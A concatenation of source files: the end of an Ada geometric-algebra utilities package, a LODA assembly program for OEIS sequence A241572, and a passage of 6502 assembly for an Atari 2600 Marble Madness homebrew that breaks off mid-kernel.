Scale := Norm_E (MV_B);
end if;
-- Put_Line ("Multivector_Utilities.Factorize_Blades, K_Grade:" &
-- Integer'Image (K_Grade));
if K_Grade > 0 and Scale /= 0.0 then
-- not a scalar-blade or a null-blade
-- get largest basis blade
E_Largest := Largest_Basis_Blade (MV_B);
E_Bitmap := Bitmap (E_Largest);
-- GA_Utilities.Print_Blade ("Multivector_Utilities.Factorize_Blades, E_Largest",
-- E_Largest);
-- Put_Line ("Multivector_Utilities.Factorize_Blades, E_Bitmap"
-- & Unsigned_32'Image (E_Bitmap));
-- Determine the K basis vectors that span the largest basis blade
for Index_G in 0 .. Space_Dimension - 1 loop
-- Shift 1 left by Index_G bits
Basis_Bit := Shift_Left (1, Index_G);
if (E_Bitmap and Basis_Bit) /= 0 then
Idx := Idx + 1;
E_Array (Idx) :=
New_Basis_Blade (Basis_Bit);
end if;
end loop;
-- GA_Utilities.Print_Blade_String_Array
-- ("Multivector_Utilities.Factorize_Blades, basis vectors that span the largest basis blade", E_Array,
-- Blade_Types.Basis_Names_C3GA);
-- setup the 'current input blade'
B_Current := Geometric_Product (MV_B, 1.0 / Scale);
-- for all but one of the E_Array basis vectors:
for index in 1 .. Space_Dimension - 1 loop
-- Project basis vector E_Array (index) onto B_Current
-- (E(i) lc B_Current) inv(B_Current) but
-- inv(B_Current) not required because Bc is a unit vector
aFactor := New_Multivector (E_Array (index));
aFactor := Inner_Product
(Inner_Product (aFactor, B_Current, Left_Contraction),
B_Current, Left_Contraction);
if not Is_Null (aFactor) then
-- Normalize aFactor
aFactor := Unit_E (aFactor);
Add_Multivector (Factors, aFactor);
-- Remove aFactor from B_Current
B_Current :=
Inner_Product (aFactor, B_Current, Left_Contraction);
end if;
end loop;
-- last factor = what is left of the input blade
-- B_Current is already normalized but
-- renormalize to remove any floating point round-off error
Add_Multivector (Factors, Unit_E (B_Current));
end if;
end if;
return Factors;
exception
when others =>
Put_Line ("An exception occurred in Multivector_Utilities.Factorize_Blades");
raise;
end Factorize_Blades;
-- ------------------------------------------------------------------------
function Factorize_Blade_Fast (MV_B : Multivectors.Multivector;
Scale : out Float)
return Multivectors.Multivector_List is
use Interfaces;
use Blade;
use Blade_Types;
use Multivectors;
Grade_K : Unsigned_32;
Sc : Float;
Blade_E : Basis_Blade;
Lowest_Bit : Integer;
Highest_Bit : Integer;
Blades_B : Blade_List;
Basis_Bit : Unsigned_32;
Basis_Bitmap : Unsigned_32;
Vec_Bitmap : Unsigned_32;
Blades_Bj : Basis_Blade;
Factors : Multivector_List; -- F
L_List : Blade_List;
begin
if Space_Dimension < 1 then
raise MV_Utilities_Exception with
"Multivector_Utilities.Factorize_Blades Geometry type has not been set.";
end if;
if Grade (MV_B, Integer (Grade_K)) /= Grade_OK then
raise MV_Utilities_Exception with
"Multivector_Utilities.Factorize_Blade inhomogenous multivector detected.";
else
if Grade_K = 0 then
Scale := Scalar_Part (MV_B);
else
Scale := Norm_E (MV_B);
end if;
if Grade_K > 0 and Scale /= 0.0 then
Blade_E := Largest_Basis_Blade (MV_B);
Lowest_Bit := Bits.Lowest_One_Bit (Bitmap (Blade_E));
Highest_Bit := Bits.Highest_One_Bit (Bitmap (Blade_E));
if Grade_K = 1 then
Add_Multivector (Factors, Unit_E (MV_B));
else
if Weight (Blade_E) < 0.0 then
-- positive scale for blade needed
Scale := - Scale;
-- take care of orientation of blade:
if (Grade_K and 1) = 1 then
Scale := - Scale;
end if;
end if;
-- fix sign issues
if (Grade_K mod 4) = 2 then
Scale := - Scale;
end if;
Blades_B := Blades (MV_B);
for index in Lowest_Bit .. Highest_Bit loop
Basis_Bit := Shift_Left (1, Integer (index));
if (Bitmap (Blade_E) and Basis_Bit) /= 0 then
Basis_Bitmap := Bitmap (Blade_E) xor Basis_Bit;
New_Line;
for index_j in 1 .. List_Length (Blades_B) loop
Blades_Bj := BB_Item (Blades_B, index_j);
if (Bitmap (Blades_Bj) and Basis_Bitmap) =
Basis_Bitmap then
Vec_Bitmap := Bitmap (Blades_Bj) xor
Basis_Bitmap;
Sc := Weight (Blades_Bj) *
Canonical_Reordering_Sign
(Basis_Bitmap, Bitmap (Blades_Bj));
Blade.Add_Blade
(L_List, New_Basis_Blade (C3_Base'Enum_Val (Vec_Bitmap), Sc));
end if;
end loop;
end if;
Add_Multivector (Factors, New_Multivector (L_List));
end loop;
end if;
else
Add_Multivector (Factors, New_Multivector (0.0));
end if;
end if;
return Factors;
exception
when others =>
Put_Line ("An exception occurred in Multivector_Utilities.Factorize_Blade_Fast");
raise;
end Factorize_Blade_Fast;
-- --------------------------------------------------------------------
function Reflect (MV : Multivectors.Multivector;
DP : Multivectors.Dual_Plane)
return Multivectors.Multivector is
use Metric;
use Multivectors;
IDP : constant Multivector := General_Inverse (DP, C3_Metric);
begin
return Geometric_Product
(-DP, Geometric_Product (MV, IDP, C3_Metric), C3_Metric);
end Reflect;
-- ------------------------------------------------------------------------
function Rotate (MV : Multivectors.Multivector;
aVersor : Multivectors.TR_Versor)
return Multivectors.Multivector is
use Metric;
use Multivectors;
IV : constant Multivector := General_Inverse (aVersor, C3_Metric);
begin
return Geometric_Product
(aVersor, Geometric_Product (MV, IV, C3_Metric), C3_Metric);
end Rotate;
-- ------------------------------------------------------------------------
end Multivector_Utilities;
|
oeis/241/A241572.asm | neoneye/loda-programs | 11 | 18697 | <filename>oeis/241/A241572.asm
; A241572: Numbers n such that 2*n+17 is not a prime.
; Submitted by <NAME>(s1.)
; 2,4,5,8,9,11,14,16,17,19,20,23,24,26,29,30,32,34,35,37,38,39,41,44,47,49,50,51,52,53,54,56,58,59,62,63,64,65,68,69,71,72,74,76,77,79,80,83,84,85,86,89,92,93,94,95,96,98,99,100,101,102,104,107,109,110,113,114,115,116,118,119,121,122,124,125,128,129,131,134,135,136,137,139,140,141,142,143,144,146,149,151,152,153,154,155,156,158,159,161
add $0,3
mov $1,4
mov $2,1
lpb $0
mov $3,$2
lpb $3
add $2,2
mov $4,$1
gcd $4,$2
cmp $4,1
sub $3,$4
lpe
sub $0,1
add $2,2
mul $1,$2
lpe
mov $0,$2
div $0,2
sub $0,8
|
marble.asm | johnkharvey/marble_madness_2600 | 1 | 13496 | ;===================================
; "<NAME>"
; -- The Beginner Race
;
; (for your Atari 2600)
;===================================
;===================================
; Special Thanks:
; - grafixbmp
;===================================
;===================================
; Bank Layouts
; Bank 1 = Graphics/kernels
; Bank 2 = Collision detection handling after Bank3/Bank4 table lookup
; Bank 3 = Collision table processing for left side of screen
; Bank 4 = Collision table processing for right side of screen
;===================================
;===================================
; RAM Allocation
;===================================
;---------------------
; $80-$8F = Normal variables
;---------------------
Temp = $80 ; potentially a WORD
;------------
; Allows us to switch banks and go to a location
; in the new bank
;------------
ReturnAddress = $82 ; a WORD
SecondsRemaining = $84
FrameCounter = $85
LevelNumber = $86
LeftNumber = $87 ; and $88
RightNumber = $89 ; and $8A
; 0 = start screen / direction select screen
; 1 = level 1 play
; 2 = level 1 win
GamePhase = $8B
NinetyDegrees = $8C ; 0 = 90, 1 = 45
IncreasingCounter = $8D
CollisionStatusFromTable = $8E
;---------------------
; $90-$9F = Screen variables
;---------------------
SWCHAStore = $90
ScrollPointerTop = $91
ScrollPointerBottom = $92
OddFrameCheck = $93
Player0HPosition = $94
Player1HPosition = $95
Player0VPosition = $96
Player0VPosition2 = $97 ; just a bit used to slow things down
Player0HPositionA = $98
Player0VPositionA = $99
Player0SpeedDown = $9A
Player0SpeedUp = $9B
Player0SpeedLeft = $9C
Player0SpeedRight = $9D
CollisionByte = $9E
MarbleFallStatus = $9F
;---------------------
; $A0-$AF = Marble RAM
;---------------------
P0MarbleRAM = $A0 ; 8 bytes
; Next is $A8
;===================================
; Constants
NTSC = 1
DEBUG = 0
LEVEL = 0
MAXLEVELHEIGHT = 200
ANGLE_PIPE = %00000000
ANGLE_SLASH = %01000000
ANGLE_BACKSLASH = %10000000
ANGLE_MINUS = %11000000
;===================================
;===================================
processor 6502
include hdr/vcs.h
;===================================
MAC JUMP_TABLE ; put this at the start of every bank
RORG $F000
Bank1
cmp SelectBank1 ; 3 bytes
jmp Bank1Code ; 3 bytes
Bank2
cmp SelectBank2 ; 3 bytes
jmp Bank2Code ; 3 bytes
Bank3
cmp SelectBank3 ; 3 bytes
jmp Bank3Code ; 3 bytes
Bank4
cmp SelectBank4 ; 3 bytes
jmp Bank4Code ; 3 bytes
ENDM
;===================================
MAC BANKS_AND_VECTORS; put this at the end of every bank
;RORG $FFF8
RORG $FFF6
SelectBank1 .byte $00
SelectBank2 .byte $00
SelectBank3 .byte $00
SelectBank4 .byte $00
.word Bank1; NMI
.word Bank1; RESET
.word Bank1; IRQ
ENDM
;===================================
;#####################################################
;#####################################################
;#####################################################
;### ###
;### Bank 1 below ###
;### ###
;#####################################################
;#####################################################
;#####################################################
;============
org $C000
;============
JUMP_TABLE
org $C018
rorg $F018
;=================
Bank1Code
;=================
LDA ReturnAddress+1
CMP #>AfterCollision_InBank1
BNE TestReturnAddress2
LDA ReturnAddress
CMP #<AfterCollision_InBank1
BNE TestReturnAddress2
JMP AfterCollision_InBank1
TestReturnAddress2
;=================
Start
;=================
SEI
CLD
LDX #$FF
TXS
LDA #0
ClearingRAM
STA 0,X ; clear $FF through $1 (not $0, VSYNC).
DEX
BNE ClearingRAM
; Stuff for First screen
LDA #0 ; startup phase "Marble Madness" screen
STA GamePhase
STA NinetyDegrees
STA FrameCounter ; zero-frame for seconds timer
;=================
GameInitBank1
;=================
; Do init stuff
LDA #200
STA ScrollPointerTop ; highest for practiceLevel
LDA #(200-89)
STA ScrollPointerBottom ; lowest
LDA #1
STA OddFrameCheck ; even frame
LDA #78
STA Player0HPosition
LDA #189
STA Player0VPosition ; these are divided by 2, so pos is 20.
LDA #0
STA Player0VPosition2 ; 0 or 1, frame counter to slow ball
STA Player0HPositionA ; speed
STA Player0VPositionA ; speed
STA Player0SpeedDown
STA Player0SpeedUp
STA Player0SpeedLeft
STA Player0SpeedRight
STA LevelNumber ; level zero
STA MarbleFallStatus
LDA #$60 ; BCD, so hex
STA SecondsRemaining
LDA #>Numbers
STA RightNumber+1
STA LeftNumber+1
;=================
MainLoopBank1
;=================
JSR VerticalBlankBank1 ; Execute the vertical blank.
; different game phases have different kernels
INC IncreasingCounter ; always increases
LDA GamePhase
BNE NotGamePhaseZero
; Game phase zero
JSR ResetSelectCheck
JSR GameCalcStartScreenBank1 ; Do calculations during Vblank
JSR TitleScreenBank1 ; Draw the screen
JMP AfterDrawScreen
NotGamePhaseZero
CMP #1
BEQ GamePhaseOne
CMP #2
BEQ GamePhaseTwo
JMP AfterDrawScreen
GamePhaseOne
GamePhaseTwo
JSR ResetSelectCheck
JSR GameCalcBank1 ; Do calculations during Vblank
JSR DrawScreenBank1 ; Draw the screen
AfterDrawScreen
JSR OverScanBank1 ; Do more calculations during overscan
;==================
JMP MainLoopBank1 ; Continue forever.
;==================
;=================
VerticalBlankBank1
;=================
LDX #0
LDA #2
STA WSYNC
STA VSYNC ; Begin vertical sync.
STA WSYNC ; First line of VSYNC
STA WSYNC ; Second line of VSYNC.
IF NTSC
LDA #44
ELSE ; (PAL)
LDA #54
ENDIF
STA TIM64T
LDA #0
; Now we can end the VSYNC period.
STA WSYNC ; Third line of VSYNC.
STA VSYNC ; (0)
;==================
RTS
;==================
;========================
; Reset/select pressed
;========================
ResetSelectCheck
LDA SWCHB
AND #%00000001
BNE ResetNotPressed
LDX #$FF
TXS
IF NTSC
LDY #0
LDX #249
ELSE ; PAL
LDY #1
LDX #43
ENDIF
WsyncLoopOnReset
STA WSYNC
DEX
BNE WsyncLoopOnReset
DEY
BPL WsyncLoopOnReset
JMP GameInitBank1
ResetNotPressed
RTS
;=================
;=================
GameCalcStartScreenBank1
;=================
; if fire button pressed, then game on
LDA INPT4
BMI LeftFireButtonNotPressed
LDA #1
STA GamePhase
LeftFireButtonNotPressed
; if left/right pressed, increase 90orf5
LDA SWCHA
BPL RightPressedStartScreen
ROL
BPL LeftPressedStartScreen
JMP AfterLeftRightStartScreen
RightPressedStartScreen
LDA #1
STA NinetyDegrees
JMP AfterLeftRightStartScreen
LeftPressedStartScreen
LDA #0
STA NinetyDegrees
AfterLeftRightStartScreen
RTS
;=================
GameCalcBank1
;=================
;=================
; Deal with timer countdown
;=================
LDA SecondsRemaining
BNE GameNotOver
; Game Over
JMP NoPlayerMovement
GameNotOver
INC FrameCounter
LDA FrameCounter
CMP #60
BNE Not60Frames
LDA #0
STA FrameCounter
SED ; BCD
IF DEBUG = 1
LDA SecondsRemaining
SEC
SBC #0
STA SecondsRemaining
ELSE
LDA GamePhase
CMP #2
BEQ WeWonDontDecTimer
LDA SecondsRemaining
SEC
SBC #1
STA SecondsRemaining
WeWonDontDecTimer
ENDIF
CLD ; back to normal math
Not60Frames
;=================
;=================
LDA SWCHA
STA SWCHAStore
;=================
;=================
LDA MarbleFallStatus
BEQ TransformSWCHA
JMP InitialJoyCheckDone
;=================
;=================
; Transform SWCHA - based on 45 or 90
;=================
TransformSWCHA
LDA NinetyDegrees
BEQ DealWithUp
; 45 degree transformation
; right / left / down / up
LDA SWCHAStore
BPL Transform45Right
ROL
BPL Transform45Left
ROL
BPL Transform45Down
ROL
BPL Transform45Up
JMP DealWithUp ; nothing really to do, no direction pressed
Transform45Right
LDA #%01011111 ; right goes down and right
STA SWCHAStore
JMP DealWithUp ; first transformation done
Transform45Left
LDA #%10101111 ; left goes up and left
STA SWCHAStore
JMP DealWithUp ; first transformation done
Transform45Down
LDA #%10011111 ; down goes down and left
STA SWCHAStore
JMP DealWithUp ; first transformation done
Transform45Up
LDA #%01101111 ; up goes up and right
STA SWCHAStore
; first transformation done
;=================
; Transform SWCHA - based on inertia
;=================
DealWithUp
LDA SWCHAStore
AND #%00010000 ; up
BNE UpNotPressed
; Up pressed. Are we going down?
LDA Player0SpeedDown
BEQ NotMovingDownAndUpPressed
DEC Player0SpeedDown
DEC Player0SpeedDown
JMP DontMoveUp
NotMovingDownAndUpPressed
;
LDA Player0SpeedUp
CMP #$FE ; going top speed?
BEQ UpNotPressed
INC Player0SpeedUp
INC Player0SpeedUp
UpNotPressed
LDA Player0SpeedUp
CLC
ADC Player0VPositionA
STA Player0VPositionA
BCC DontMoveUp
LDA SWCHAStore
AND #%11101111
STA SWCHAStore
JMP DealWithDown
DontMoveUp
LDA SWCHAStore
ORA #%00010000
STA SWCHAStore
;=================
DealWithDown
LDA SWCHAStore
AND #%00100000 ; down
BNE DownNotPressed
; Down Pressed. Are we going up?
LDA Player0SpeedUp
BEQ NotMovingUpAndDownPressed
DEC Player0SpeedUp
DEC Player0SpeedUp
JMP DontMoveDown
NotMovingUpAndDownPressed
LDA Player0SpeedDown
CMP #$FE
BEQ DownNotPressed
INC Player0SpeedDown
INC Player0SpeedDown
DownNotPressed
;LDA Player0SpeedDown
;CLC
;ADC Player0VPositionA
;STA Player0VPositionA
LDA Player0VPositionA
SEC
SBC Player0SpeedDown
STA Player0VPositionA
;
BCS DontMoveDown
LDA SWCHAStore
AND #%11011111
STA SWCHAStore
JMP DealWithLeft
DontMoveDown
LDA SWCHAStore
ORA #%00100000
STA SWCHAStore
;=================
DealWithLeft
LDA SWCHAStore
AND #%01000000 ; left
BNE LeftNotPressed
; Left pressed. Are we going right?
LDA Player0SpeedRight
BEQ NotMovingRightAndLeftPressed
DEC Player0SpeedRight
DEC Player0SpeedRight
JMP DontMoveLeft
NotMovingRightAndLeftPressed
LDA Player0SpeedLeft
CMP #$FE ; going top speed?
BEQ LeftNotPressed
INC Player0SpeedLeft
INC Player0SpeedLeft
LeftNotPressed
;LDA Player0SpeedLeft
;CLC
;ADC Player0HPositionA
;STA Player0HPositionA
LDA Player0HPositionA
SEC
SBC Player0SpeedLeft
STA Player0HPositionA
;
BCS DontMoveLeft
LDA SWCHAStore
AND #%10111111
STA SWCHAStore
JMP DealWithRight
DontMoveLeft
LDA SWCHAStore
ORA #%01000000
STA SWCHAStore
;=================
DealWithRight
LDA SWCHAStore
AND #%10000000 ; right
BNE RightNotPressed
; Right pressed. Are we going left?
LDA Player0SpeedLeft
BEQ NotMovingLeftAndRightPressed
DEC Player0SpeedLeft
DEC Player0SpeedLeft
JMP DontMoveRight
NotMovingLeftAndRightPressed
;
LDA Player0SpeedRight
CMP #$FE ; going top speed?
BEQ RightNotPressed
INC Player0SpeedRight
INC Player0SpeedRight
RightNotPressed
LDA Player0SpeedRight
CLC
ADC Player0HPositionA
STA Player0HPositionA
BCC DontMoveRight
LDA SWCHAStore
AND #%01111111
STA SWCHAStore
JMP NoMoreDirections
DontMoveRight
LDA SWCHAStore
ORA #%10000000
STA SWCHAStore
NoMoreDirections
;=================
;=================
; Joystick up/down movement
;=================
RealJoyChecks
LDA SWCHAStore
AND #%00010000 ; up
BNE CheckDown
HandleDown
; Can we move Player0 down?
LDA Player0VPosition ; start value 160
SEC
SBC ScrollPointerBottom
CMP #80
BEQ ScrollFrameDown
; otherwise, move the ball down
INC Player0VPosition2
LDA Player0VPosition2
AND #1
BNE CheckDown
INC Player0VPosition
JMP CheckDown
ScrollFrameDown
LDA ScrollPointerTop
CMP #MAXLEVELHEIGHT
BEQ CheckDown
LDA OddFrameCheck
BNE ScrollDown2
INC OddFrameCheck
JMP CheckDown ; can turn to BNE later
ScrollDown2
LDA #0
STA OddFrameCheck
INC ScrollPointerTop
INC ScrollPointerBottom
CheckDown
LDA SWCHAStore
AND #%00100000 ; down
BNE CheckRight
HandleUp
; Can we move Player0 up?
LDA Player0VPosition ; start value 160
SEC
SBC ScrollPointerBottom
CMP #10
BEQ ScrollFrameUp
; otherwise, move the ball up
INC Player0VPosition2
LDA Player0VPosition2
AND #1
BNE CheckRight
DEC Player0VPosition
JMP CheckRight
ScrollFrameUp
LDA ScrollPointerTop
CMP #89 ; always the bottom
BEQ CheckRight
LDA OddFrameCheck
BEQ ScrollUp2
DEC OddFrameCheck
JMP CheckRight
ScrollUp2
LDA #1
STA OddFrameCheck
DEC ScrollPointerTop
DEC ScrollPointerBottom
CheckRight
LDA SWCHAStore
AND #%10000000 ; right
BNE CheckLeft
LDA Player0HPosition
CMP #136 ; right hand extrema
BEQ CheckLeft
INC Player0HPosition
CheckLeft
LDA SWCHAStore
AND #%01000000 ; left
BNE InitialJoyCheckDone
LDA Player0HPosition
CMP #16 ; left hand extrema
BEQ InitialJoyCheckDone
DEC Player0HPosition
InitialJoyCheckDone
;=================
;=================
; set up P0/P1 for timer for frame
;=================
NoPlayerMovement
STA WSYNC
LDY #7
PlayerCoarseLoop
DEY
BPL PlayerCoarseLoop
NOP
STA RESP0
STA RESP1
LDA #%00110000
STA HMP0
LDA #%01000000
STA HMP1
STA WSYNC
STA HMOVE
;==================
;==================
; Load Marble data into RAM
;==================
LDA MarbleFallStatus
BEQ KeepMarbleSame
; play a noise
LDA #6
STA AUDC0
LDA #7
STA AUDV0
LDA MarbleFallStatus
STA AUDF0
; other stuff
LDA IncreasingCounter
AND #%00000111
BNE KeepMarbleSame
INC MarbleFallStatus
LDA MarbleFallStatus
CMP #8
BNE KeepMarbleSame
LDA #0
STA MarbleFallStatus
KeepMarbleSame
LDX #7
LDA #7
CLC
ADC MarbleFallStatus
;SEC
;SBC #1 ; just in case
TAY
P0MarbleInRamLoop
LDA Marble1,Y
STA P0MarbleRAM,X
DEY
DEX
BPL P0MarbleInRamLoop
LDA #0
STA P0MarbleRAM
RTS
;==================
RTS
;==================
;==================
;ORG $C400
align 256
;==================
Numbers ; Should be on a page boundary to be effective
NumberZero
dc.b %00011000
dc.b %00100100
dc.b %00100100
dc.b %00100100
dc.b %00100100
dc.b %00100100
dc.b %00011000
dc.b 0
NumberOne
dc.b %00011100
dc.b %00001000
dc.b %00001000
dc.b %00001000
dc.b %00001000
dc.b %00011000
dc.b %00001000
dc.b 0
NumberTwo
dc.b %00111100
dc.b %00100000
dc.b %00100000
dc.b %00011000
dc.b %00000100
dc.b %00100100
dc.b %00011000
dc.b 0
NumberThree
dc.b %00111000
dc.b %00000100
dc.b %00000100
dc.b %00011000
dc.b %00000100
dc.b %00000100
dc.b %00111000
dc.b 0
NumberFour
dc.b %00000100
dc.b %00000100
dc.b %00000100
dc.b %00111100
dc.b %00100100
dc.b %00100100
dc.b %00100100
dc.b 0
NumberFive
dc.b %00011000
dc.b %00100100
dc.b %00000100
dc.b %00011000
dc.b %00100000
dc.b %00100000
dc.b %00111100
dc.b 0
NumberSix
dc.b %00011000
dc.b %00100100
dc.b %00100100
dc.b %00111000
dc.b %00100000
dc.b %00100000
dc.b %00011000
dc.b 0
NumberSeven
dc.b %00010000
dc.b %00010000
dc.b %00001000
dc.b %00001000
dc.b %00000100
dc.b %00000100
dc.b %00111100
dc.b 0
NumberEight
dc.b %00011000
dc.b %00100100
dc.b %00100100
dc.b %00011000
dc.b %00100100
dc.b %00100100
dc.b %00011000
dc.b 0
NumberNine
dc.b %00011000
dc.b %00100100
dc.b %00000100
dc.b %00011100
dc.b %00100100
dc.b %00100100
dc.b %00011000
dc.b 0
Marble1
IF DEBUG == 1
; debug marble
dc.b %00000000
dc.b %00000000
dc.b %00000000
dc.b %00011000
dc.b %00000000
dc.b %00011000
dc.b %00000000
dc.b %00000000
ELSE
dc.b %00000000
dc.b %00011000
dc.b %00111100
dc.b %01111110
dc.b %01111110
dc.b %01111110
dc.b %00111100
dc.b %00011000
ENDIF
; Marble space
dc.b %00000000
dc.b %00000000
dc.b %00000000
dc.b %00000000
dc.b %00000000
dc.b %00000000
dc.b %00000000
dc.b %00000000
JoyStickGfx90
dc.b %00000000
dc.b %11101110
dc.b %00101010
dc.b %00101010
dc.b %11101010
dc.b %10101010
dc.b %10101010
dc.b %11101110
JoyStickGfx45
dc.b %00000000
dc.b %00101110
dc.b %00100010
dc.b %00100010
dc.b %11101110
dc.b %10101000
dc.b %10101000
dc.b %10101110
;=================
TitleScreenBank1
;=================
LDA INTIM
BNE TitleScreenBank1 ; Whew!
STA WSYNC ; [0]
STA VBLANK ; Enable drawing again (set vblank to 0)
LDA #0
STA COLUBK
LDA #1
STA CTRLPF ; reflected
LDA #$0E
STA COLUP0
STA COLUP1
LDX NinetyDegrees
LDA IncreasingCounter
LSR
AND #$0F
STA COLUP0,X
NOP
NOP
STA RESP0
NOP
NOP
NOP
STA RESP1
LDY #10
TitleScreenLoop1
STA WSYNC
DEY
BNE TitleScreenLoop1
;----------
LDY #53 ; screen logo 54 high (can be 108)
TitleScreenLoop2
;LDA #$88
;STA COLUBK
;STA WSYNC
;DEY
;BPL TitleScreenLoop2
;==========
STA WSYNC ; [3, = first odd frame completed]
;==========
IF NTSC
LDA #$82 ; blue
ELSE ; (PAL)
LDA #$D2 ; blue
ENDIF
STA COLUPF ; [3, 5]
;==== NEW CODE ====
LDA Title_PF1_1,Y ; [4, 9]
STA PF1 ; [3, 12]
LDA Title_PF2_2,Y ; [4, 16]
STA PF2 ; [3, 19]
NOP ; [2, 21]
NOP ; [2, 23]
NOP ; [2, 25]
NOP ; [2, 27]
NOP ; [2, 29]
NOP ; [2, 31]
LDA $80 ; [3, 34]
LDA Title_PF1_4,Y ; [4, 38]
STA PF1 ; [3, 41]
LDA Title_PF2_3,Y ; [4, 45]
STA PF2 ; [3, 48]
;== END NEW CODE ==
DEY
BPL TitleScreenLoop2
;=======================
LDA #0
STA COLUBK
STA PF1
STA PF2
LDY #40
TitleScreenLoop3
STA WSYNC
DEY
BNE TitleScreenLoop3
LDY #7
TitleScreenLoop4
LDA JoyStickGfx90,Y
STA GRP0
LDA JoyStickGfx45,Y
STA GRP1
STA WSYNC
DEY
BPL TitleScreenLoop4
LDY #79
TitleScreenLoop5
STA WSYNC
DEY
BNE TitleScreenLoop5
;=================
JMP CleanupScreen
;=================
;=================
DrawScreenBank1
;=================
LDA INTIM
BNE DrawScreenBank1 ; Whew!
STA WSYNC ; [0]
STA VBLANK ; Enable drawing again (set vblank to 0)
; First 2 lines of kernel are set-up for main stuff.
;LDA #0
;STA COLUBK
LDA #1
STA CTRLPF ; reflected
;===========
; DRAW THE TIMER section
IF NTSC
LDA #$82 ; blue
ELSE ; (PAL)
LDA #$D2 ; blue
ENDIF
STA COLUPF
LDA #$0E ; same as NTSC/PAL
STA COLUP0
STA COLUP1
LDA #$C0
STA PF2
LDA SecondsRemaining
AND #%00001111 ; mask out right digit
ASL
ASL
ASL
STA RightNumber
LDA SecondsRemaining
AND #%11110000 ; mask out left digit
CLC
LSR
STA LeftNumber
LDY #6
STA WSYNC ; 1 blue line for score
ScoreLoop
LDA (LeftNumber),Y
;LDA NumberFive,Y
STA GRP0
LDA (RightNumber),Y
;LDA NumberFive,Y
STA GRP1
STA WSYNC
DEY
BPL ScoreLoop
LDA #0
STA GRP0
STA GRP1
IF NTSC
IF DEBUG = 1
LDA #$0E
ELSE
LDA #$82 ; blue
ENDIF
ELSE ; (PAL)
LDA #$D2 ; blue
ENDIF
STA COLUP0
; Define player 2 as red
;===========
;LDY #(89-1) ; (89*2 = 178 + 8 + 2 + 4 on top = 192)
LDY ScrollPointerTop
DEY
; we need to set P0's position.
;====================
; Calculate P1,P0 HPos
;====================
; coarse/fine setting of P1 graphic HPos
; code by vdub_bobby
LDX #0
LDA Player0HPosition
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
STX PF2
; Calculate Player's left/right position on screen
CalculatePlayersHPosLoop
sec
sta HMCLR
sta WSYNC ; [5]
DivideLoopPlayersBank1
sbc #15
bcs DivideLoopPlayersBank1
eor #7
asl
asl
asl
asl
sta.wx HMP0,X
sta RESP0,X
sta WSYNC ; [6]
sta HMOVE
STA WSYNC ; without this line, we screw up P1 positioning by
; touching HMP1 with an HMCLR too early on P0 positioning
;DEX
;LDA Player1HPosition
;BPL CalculatePlayersHPosLoop
STA WSYNC ; to even out
;==========
LDA OddFrameCheck
BEQ DrawLoopBank1Pass1
STA WSYNC ; [1]
;==========
DrawLoopBank1Pass1
;==========
STA WSYNC ; [2, 4 = first even frame completed]
;==========
LDA #$08 ; white ; [2] (same as NTSC and PAL)
STA COLUPF ; [3, 5]
;==== NEW CODE ====
LDA Level_0_WhiteData_PF1_1,Y ; [4, 9]
STA PF1 ; [3, 12]
LDA Level_0_WhiteData_PF2_2,Y ; [4, 16]
STA PF2 ; [3, 19]
NOP ; [2, 21]
NOP ; [2, 23]
NOP ; [2, 25]
NOP ; [2, 27]
NOP ; [2, 29]
NOP ; [2, 31]
LDA $80 ; [3, 34]
LDA Level_0_WhiteData_PF1_4,Y ; [4, 38]
STA PF1 ; [3, 41]
LDA Level_0_WhiteData_PF2_3,Y ; [4, 45]
STA PF2 ; [3, 48]
;== END NEW CODE ==
;==========
STA WSYNC ; [3, = first odd frame completed]
;==========
IF LEVEL == 0
IF NTSC
LDA #$22 ; brown
ELSE ; (PAL)
LDA #$42 ; brown
ENDIF
ENDIF
IF LEVEL == 1
IF NTSC
LDA #$82 ; blue
ELSE ; (PAL)
LDA #$D2 ; blue
ENDIF
ENDIF
STA COLUPF ; [3, 5]
;==== NEW CODE ====
LDA Level_0_BlueData_PF1_1,Y ; [4, 9]
STA PF1 ; [3, 12]
LDA Level_0_BlueData_PF2_2,Y ; [4, 16]
STA PF2 ; [3, 19]
NOP ; [2, 21]
NOP ; [2, 23]
NOP ; [2, 25]
NOP ; [2, 27]
NOP ; [2, 29]
NOP ; [2, 31]
LDA $80 ; [3, 34]
LDA Level_0_BlueData_PF1_4,Y ; [4, 38]
STA PF1 ; [3, 41]
LDA Level_0_BlueData_PF2_3,Y ; [4, 45]
STA PF2 ; [3, 48]
;== END NEW CODE ==
DEY
;CPY ScrollPointerBottom
CPY Player0VPosition
BNE DrawLoopBank1Pass1
;=======================
;=================
LDX #7 ; marble frames
DrawLoopBank1Pass2
;==========
STA WSYNC ; [2, 4 = first even frame completed]
;==========
LDA #$08 ; white ; [2] (same as NTSC and PAL)
STA COLUPF ; [3, 5]
;==== NEW CODE ====
LDA Level_0_WhiteData_PF1_1,Y ; [4, 9]
STA PF1 ; [3, 12]
LDA P0MarbleRAM,X ; [4 , 16]
STA GRP0 ; [3, 19]
LDA Level_0_WhiteData_PF2_2,Y ; [4, 23]
STA PF2 ; [3, 26]
NOP ; [2, 28]
NOP ; [2, 30]
NOP ; [2, 32]
NOP ; [2, 34]
LDA Level_0_WhiteData_PF1_4,Y ; [4, 38]
STA PF1 ; [3, 41]
LDA Level_0_WhiteData_PF2_3,Y ; [4, 45]
STA PF2 ; [3, 48]
;== END NEW CODE ==
DEX ; marble pointer
;==========
STA WSYNC ; [3, = first odd frame completed]
;==========
IF LEVEL == 0
IF NTSC
LDA #$22 ; brown
ELSE ; (PAL)
LDA #$42 ; brown
ENDIF
ENDIF
IF LEVEL == 1
IF NTSC
LDA #$82 ; blue
ELSE ; (PAL)
LDA #$D2 ; blue
ENDIF
ENDIF
STA COLUPF ; [3, 5]
;==== NEW CODE ====
LDA Level_0_BlueData_PF1_1,Y ; [4, 9]
STA PF1 ; [3, 12]
LDA P0MarbleRAM,X ; [4 , 16]
STA GRP0 ; [3, 19]
LDA Level_0_BlueData_PF2_2,Y ; [4, 23]
STA PF2 ; [3, 26]
NOP ; [2, 28]
NOP ; [2, 30]
NOP ; [2, 32]
NOP ; [2, 34]
LDA Level_0_BlueData_PF1_4,Y ; [4, 38]
STA PF1 ; [3, 41]
LDA Level_0_BlueData_PF2_3,Y ; [4, 45]
STA PF2 ; [3, 48]
;== END NEW CODE ==
DEY ; frame pointer
DEX ; marble pointer
BPL DrawLoopBank1Pass2
;=======================
;=============
DrawLoopBank1Pass3
;==========
STA WSYNC ; [2, 4 = first even frame completed]
;==========
LDA #$08 ; white ; [2] (same as NTSC and PAL)
